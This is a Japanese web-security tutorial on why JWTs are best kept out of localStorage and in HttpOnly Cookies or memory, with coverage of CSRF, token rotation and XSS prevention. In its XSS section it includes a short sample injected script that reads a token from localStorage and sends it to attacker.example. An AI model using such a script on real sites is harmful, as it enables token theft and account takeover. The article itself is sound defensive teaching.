localStorageにJWTを保存すべきか


結論から言うと、JWT(アクセストークン)を localStorage に保存するのは原則として避けるべきです。localStorage はページ上のあらゆる JavaScript から読めるため、XSS(クロスサイトスクリプティング)が一度でも起きると、保存したトークンを丸ごと盗まれます。トークンの基本の置き場所は HttpOnly 属性を付けた Cookie です。

とはいえ「localStorage は絶対にダメ」と機械的に覚えるのも危険です。なぜ危険なのか、Cookie なら何が解決して何が新たに必要になるのか、そして localStorage が現実的な選択になるのはどんな条件かを理解して自分で判断できることが大切です。SPA開発では避けて通れないテーマです。

この記事では、JWTの保存先を「XSS耐性」「CSRF対策」「実装のしやすさ」の観点から整理し、localStorage と HttpOnly Cookie の違い、実務で推奨されるトークン管理パターン、そして保存先を議論する前提となるXSS対策までを解説します。ブラウザストレージ全体の使い分けは localStorage・sessionStorage・Cookie・IndexedDBの使い分け を参照してください。


結論:localStorageへのJWT保存は原則避ける

まず判断の軸を明確にします。JWTの保存先を選ぶとき、最も重視すべきは「XSSが起きたときにトークンが盗まれるか」です。この観点で見ると、保存先ごとの性質は次のように整理できます。

  • localStorage / sessionStorage:JavaScriptから読めるため、XSSでトークンが盗まれる。機密トークンの保存には不向き
  • HttpOnly Cookie:JavaScriptから読めないため、XSSでスクリプトが走ってもトークン自体は読み出せない。ただしCSRF対策(SameSite)が別途必要
  • JavaScriptのメモリ(変数):ページを離れると消えるが、保存されている間はXSSで読まれうる。リフレッシュトークンと組み合わせて使う

したがって基本方針は、機密性の高いトークンは HttpOnly Cookie に置き、localStorage には置かないです。これは OWASP のセキュリティチートシートでも、機密データを Web Storage に保存しないよう推奨されている考え方と一致します。


前提:アクセストークンとリフレッシュトークンの違い

保存先を正しく判断するには、JWTを使った認証で登場する2種類のトークンの役割を分けて理解しておく必要があります。両者は寿命も使われ方も違うため、適切な置き場所も変わります。

アクセストークンリフレッシュトークン
寿命短命(数分〜十数分)長命(数日〜数週間)
用途APIへのアクセス認可アクセストークンの再発行
送信頻度APIリクエストごと再発行APIのときだけ
推奨の置き場所メモリ(変数)HttpOnly Cookie

ポイントは、頻繁に使うアクセストークンは短命にして露出リスクを下げ、長命なリフレッシュトークンは JavaScript から隔離して厳重に守るという役割分担です。「JWTをどこに保存するか」という問いは、正確には「この2つをそれぞれどこに置くか」という問いだと捉えると、判断がぶれません。


なぜlocalStorageは危険なのか(XSSの仕組み)

localStorage の危険性は、その手軽さの裏返しです。同一オリジンで動くJavaScriptなら、誰でも自由に読み書きできます。これは自分のコードだけでなく、ページに紛れ込んだ攻撃者のスクリプトにも当てはまります。

たとえば、ユーザーの入力をエスケープせずに画面へ出力している箇所があると、攻撃者は次のようなスクリプトを注入できます(XSS)。これが実行されると、localStorage のトークンは一瞬で外部サーバーへ送信されます。

// 攻撃者が注入に成功したスクリプトの例
// localStorage は同一オリジンのJSから自由に読めてしまう
const token = localStorage.getItem("accessToken");
fetch("https://attacker.example/steal?t=" + token);

重要なのは、XSSが成立した時点で「localStorageに入っているもの」は全て危険にさらされるという点です。トークンを暗号化して保存しても、復号するためのロジックと鍵が同じくJavaScript側にある以上、攻撃者はそれも実行できるため根本的な対策にはなりません。

盗まれたトークンで何が起きるかも具体的に押さえておきましょう。攻撃者はそのトークンを使って正規ユーザーになりすまし、APIを呼び出せます。データの閲覧・改ざん・削除、権限のある操作の実行などが、本人の操作と区別できない形で行われます。しかも前述のとおりJWTは途中で失効させにくいため、有効期限が切れるまで悪用が続くおそれがあります。これが、長命なトークンほど localStorage に置いてはいけない理由です。


HttpOnly Cookieならなぜ安全なのか

一方、HttpOnly 属性を付けた Cookie は、JavaScriptの document.cookie から読み取れません。ブラウザがリクエスト時に自動で送信してくれるため、JavaScriptがトークンに触れる必要がそもそもなくなります。XSSでスクリプトが実行されても、トークンの値自体は盗み出せません。

サーバーがトークンを発行する際は、次のように属性を付与します。3つの属性をセットで付けるのが基本です。

Set-Cookie: refreshToken=xxxxx; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=1209600
属性役割
HttpOnlyJavaScriptから読み取れなくする(XSS対策の要)
SecureHTTPS接続でのみ送信する(盗聴対策)
SameSite他サイト起点のリクエストでの送信を制限する(CSRF対策)

ただし Cookie は「リクエストのたびに自動送信される」性質があるため、攻撃者が用意した別サイトから勝手にリクエストを飛ばされるCSRF(クロスサイトリクエストフォージェリ)のリスクが新たに生まれます。これを抑えるのが SameSite 属性です。SameSite=Strict または Lax を指定することで、他サイト起点のリクエストにCookieが付かなくなります(参考: MDN SameSite)。


localStorage vs Cookie:JWT保存先の比較

ここまでの違いを、JWT保存先という観点で並べて比較します。「XSSに強いか」と「CSRF対策が要るか」がトレードオフになっている点がポイントです。

観点localStorageHttpOnly Cookie
XSSでの盗難盗まれる盗まれない
CSRF対策不要(自動送信されない)必要(SameSite等)
JSからの読み取り可能不可
サーバーへの送信手動(ヘッダに付与)自動
SSRとの相性読めず注意が必要良い(サーバーで読める)
実装の手軽さ手軽サーバー設定が必要

表のとおり、localStorage は実装が手軽でCSRFを気にしなくてよい反面、XSSに弱いという致命的な弱点があります。セキュリティを優先するなら HttpOnly Cookie が基本で、CSRFは SameSite で対処する、というのが現在の定石です。なお、SSR環境で localStorage を読むと別の問題(hydration error)も起きます。詳細は Next.jsでlocalStorageがhydration errorになる原因と解決法 を参照してください。


それでもlocalStorageが選ばれるケースとその条件

実務では、localStorage にアクセストークンを置く構成も現実には存在します。これを頭ごなしに否定するのではなく、どんな条件下なら被害を限定できるのかを理解しておくことが、正しい判断につながります。localStorage が一定許容されうるのは、おおむね次の条件が揃う場合です。

  • アクセストークンが短命である:有効期限を数分〜十数分に絞れば、盗まれても悪用できる時間が短い
  • リフレッシュトークンは localStorage に置かない:長命なリフレッシュトークンはHttpOnly Cookieに分離し、漏えい時の被害を限定する
  • XSS対策が徹底されている:CSP導入・出力エスケープ・依存ライブラリの監査など、そもそもXSSを起こさない前提が整っている
  • 外部スクリプトを極力読み込まない:広告タグやサードパーティスクリプトが多いほど、XSSの侵入経路が増える

言い換えれば、「アクセストークンは短命にして、長命なリフレッシュトークンだけは必ずJSから隔離する」のが、localStorageを使う場合でも守るべき最低ラインです。逆にこれらの条件を満たせないなら、localStorage は選ぶべきではありません。


実務の推奨パターン:メモリ+HttpOnly Cookie

現在、多くのセキュリティガイドが推奨するのは、アクセストークンはJavaScriptのメモリ(変数)で保持し、リフレッシュトークンは HttpOnly Cookie に置くという組み合わせです。それぞれの寿命と役割が違うため、置き場所も分けるという発想です。

  1. アクセストークン(短命):JavaScriptの変数(メモリ)に保持。リロードで消えるが、リフレッシュトークンから再取得する。永続ストレージに書かないのでXSSの被害面を減らせる
  2. リフレッシュトークン(長命):HttpOnly + Secure + SameSite Cookie に保存。JSから読めず、再発行APIにだけ自動送信される
  3. リフレッシュ時にトークンをローテーション:再発行のたびに新しいリフレッシュトークンへ差し替え、古いものを無効化する
// アクセストークンはメモリで保持(永続化しない)
let accessToken = null;

async function refresh() {
  // リフレッシュトークンは HttpOnly Cookie なので
  // fetch が自動でCookieを送る(credentials: "include")
  const res = await fetch("/api/refresh", {
    method: "POST",
    credentials: "include",
  });
  const data = await res.json();
  accessToken = data.accessToken; // メモリに保持
}

注意したいのは、メモリに置いたアクセストークンも、XSSが実行されている最中には読まれうるという点です。メモリ保持が安全なのではなく、「永続ストレージに書かない=XSSが収まった後も残り続けるトークンをなくす」ことで被害の窓口を狭めている、という多層防御の発想です。完全な防御ではない前提で、一次防御のXSS対策と組み合わせて初めて意味を持ちます。

さらに堅牢にするなら、トークンをブラウザに一切持たせず、サーバー(BFF: Backend For Frontend)側でセッションとして管理し、ブラウザにはセッションCookieだけを渡す構成もあります。サーバーセッションによる認証の基本は PHPログイン機能の作り方|セッションとpassword_hashで安全に実装する手順 が参考になります。


JWT特有の注意点:失効の難しさとペイロード

保存先の議論と並んで押さえておきたいのが、JWT そのものの性質です。ここを誤解していると、保存先を正しく選んでも穴が残ります。

発行済みトークンは即座に失効させにくい

JWT はステートレス——サーバーが発行後に状態を持たない設計が特徴です。これは拡張性の面では利点ですが、裏を返すと一度発行したトークンを途中で無効化するのが難しいということでもあります。盗まれたトークンは、原則として有効期限が切れるまで有効です。だからこそ、アクセストークンは有効期限を短くし、必要に応じてサーバー側で失効リスト(ブラックリスト)やトークンのバージョン管理を併用します。

ペイロードは暗号化ではない

JWT のペイロード(中身)は Base64URL でエンコードされているだけで、暗号化されていません。トークンを持っている人は誰でもデコードして中身を読めます。署名はあくまで「改ざんされていないこと」を検証するためのもので、中身を秘匿する仕組みではありません。

// JWTのペイロードは誰でもデコードできる(暗号化ではない)
const [, payload] = token.split(".");
const data = JSON.parse(atob(payload));
console.log(data); // { sub: "123", role: "admin", exp: ... } が丸見え

したがって、パスワードや個人情報など、見られて困る情報をペイロードに入れてはいけません。トークンに含めてよいのは、ユーザーIDや権限ロールなど「漏れても致命的でない最小限の識別情報」に留めます。


保存先より先に:XSSを起こさない対策

ここまで保存先の話をしてきましたが、そもそもXSSを成立させなければ、localStorageからトークンを盗まれることもありません。保存先の選択はあくまで「XSSが起きてしまったときの被害を抑える」二次防御です。一次防御であるXSS対策を疎かにしないことが大前提です。

  • 出力時のエスケープ:ユーザー入力をHTMLに埋め込む際は必ずエスケープする。Reactなどはデフォルトでエスケープするが、dangerouslySetInnerHTML の多用は避ける
  • CSP(Content Security Policy)の導入:許可したスクリプト以外を実行させないことで、注入されたスクリプトの実行自体を防ぐ
  • 依存ライブラリの監査・更新:脆弱性のあるパッケージ経由でXSSが入り込むことがある。定期的に更新する
  • サードパーティスクリプトの最小化:読み込む外部スクリプトが多いほど侵入経路が増える

XSSの具体的な攻撃手法と対策の詳細は OWASP XSS Prevention Cheat Sheet がまとまっています。


やりがちな間違い

トークン管理でよく見かける、危険な思い込みや実装を挙げます。

  • 「クライアント側で暗号化すれば安全」と考える:復号ロジックも鍵もJS側にあるため、XSSが起きれば一緒に盗まれる。暗号化は保存先問題の解決にならない
  • リフレッシュトークンまで localStorage に置く:長命なトークンが盗まれると、被害が長期化する。最も避けるべきパターン
  • Cookieにすれば万全だと考える:HttpOnlyはXSSには強いがCSRFには無力。SameSiteやトークン検証を併用する
  • アクセストークンを長命にする:保存先に関わらず、有効期限が長いほど盗難時の被害が大きい。短命+リフレッシュが基本
  • XSS対策を後回しにして保存先だけ議論する:保存先は二次防御。一次防御のXSS対策がなければ意味が薄い

よくある質問

Q. JWTは結局どこに保存するのが一番安全ですか?

機密性の高いトークンは HttpOnly + Secure + SameSite を付けた Cookie が基本です。さらに堅牢にするなら、アクセストークンはJavaScriptのメモリで保持し、リフレッシュトークンだけをHttpOnly Cookieに置く構成が推奨されます。localStorage は機密トークンには向きません。

Q. localStorageにJWTを保存しているサービスもありますが、危険ですか?

XSSが起きるとトークンを盗まれるリスクがあります。許容されるとしても、アクセストークンを短命にする・リフレッシュトークンは localStorage に置かない・XSS対策を徹底する、といった条件が揃っている場合に限られます。条件を満たせないなら避けるべきです。

Q. HttpOnly CookieにすればXSS対策は不要ですか?

いいえ。HttpOnly はトークンの盗難を防ぎますが、XSSそのものを防ぐわけではありません。XSSが成立すれば、トークンを読めなくても「ユーザーになりすました操作」は実行可能です。出力エスケープやCSPによるXSS対策は別途必須です。

Q. sessionStorageならlocalStorageより安全ですか?

XSSに対する弱さは同じです。sessionStorage もJavaScriptから読めるため、XSSが起きればトークンは盗まれます。寿命がタブを閉じるまでと短い分わずかにマシ、という程度で、機密トークンの保存先として安全とは言えません。

Q. アクセストークンをメモリに置くとリロードで消えてしまいますが、どうするのですか?

リロード後は、HttpOnly Cookie に保存したリフレッシュトークンを使って再発行APIを呼び、新しいアクセストークンをメモリに取得し直します。これにより、永続ストレージにアクセストークンを置かずにログイン状態を維持できます。

Q. JWTのペイロードに機密情報を入れても大丈夫ですか?

いいえ。JWTのペイロードは Base64URL でエンコードされているだけで暗号化されておらず、トークンを持つ人は誰でも中身を読めます。署名は改ざん検知のためのもので秘匿はしません。ペイロードにはユーザーIDや権限ロールなど最小限の識別情報のみを入れ、パスワードや個人情報は含めないでください。

Q. モバイルアプリやネイティブアプリでも同じ話が当てはまりますか?

この記事はブラウザ(Webアプリ)を前提にしています。ネイティブアプリには localStorage や Cookie の仕組みはなく、iOSの Keychain、Androidの Keystore といったOSが提供するセキュアストレージにトークンを保存するのが基本です。保管場所の仕組みは異なりますが、「長命なトークンは厳重に隔離し、漏えい時の被害を抑える」という考え方は共通です。


まとめ

JWTを localStorage に保存するのは、XSSでトークンを盗まれるリスクがあるため、原則として避けるべきです。基本方針は、機密性の高いトークンを HttpOnly + Secure + SameSite Cookie に置き、CSRFは SameSite 属性で対処すること。そしてより堅牢にするなら、アクセストークンはメモリ、リフレッシュトークンはHttpOnly Cookieという形で分離するのが推奨されます。

そして忘れてはならないのが、保存先は二次防御に過ぎないという点です。出力エスケープやCSPでXSSそのものを防ぐ一次防御があってはじめて、トークン管理は意味を持ちます。保存先の議論とXSS対策は、両輪で進めてください。各ストレージの基本的な性質や使い分けから整理したい場合は、localStorage・sessionStorage・Cookie・IndexedDBの使い分け もあわせて読むと、判断の土台が固まります。

関連記事